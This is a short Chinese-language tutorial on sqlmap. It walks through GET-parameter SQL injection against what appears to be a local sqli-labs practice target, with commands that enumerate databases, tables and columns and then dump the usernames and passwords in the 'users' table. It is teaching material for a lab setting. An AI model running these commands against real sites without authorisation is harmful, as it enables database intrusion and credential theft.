sqlmap 使用
須要安裝python2的環境
使用方法:
用最基礎的get型注入開始
一、當咱們發現注入點的時候,
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1"
二、查看全部的數據庫
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dbs
三、查看當前使用的數據庫
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --current-db
四、發現使用的是security數據庫,接下來對此數據庫進行查詢
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --tables -D "security"
五、查出全部表之後,對users表的列名進行查詢
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --columns -T "users" -D "security"
六、users表中的列名已經知道了,能夠直接查出全部數據
python sqlmap.py -u "http://192.168.100.200:8004/Less-1/index.php?id=1" --dump -C "id,username,password" -T "users" -D "security"
在「用戶」-》「.sqlmap」-》「output」可看到查詢結果php